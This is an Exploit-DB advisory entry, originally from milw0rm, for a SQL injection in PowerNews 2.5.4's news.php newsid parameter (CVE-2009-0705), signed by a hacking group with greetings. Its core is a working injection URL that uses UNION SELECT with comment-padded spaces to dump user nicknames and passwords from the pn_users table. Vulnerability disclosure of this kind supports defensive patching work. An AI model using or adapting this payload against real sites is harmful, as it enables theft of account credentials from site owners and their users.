PowerNews 2.5.4 news.php newsid SQL Injection Vulnerability

2009-01-01T00:00:00
ID EDB-ID:7641
Type exploitdb
Reporter Virangar Security
Modified 2009-01-01T00:00:00

Description

PowerNews 2.5.4 (news.php newsid) SQL Injection Vulnerability. CVE-2009-0705. Webapps exploit for php platform

                                        
                                              #######################################################################################
  #                                                                                     #
  #                 ...:::::powernews 2.5.4 SQL Injection Vulnerability::::....         #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
exploit:
http://site.com/news.php?newsid='/**/union/**/select/**/1,2,3,4,concat(nickname,0x3e,password),6,7,8,9/**/from/**/pn_users/*
----
young iranian h4ck3rz

# milw0rm.com [2009-01-01]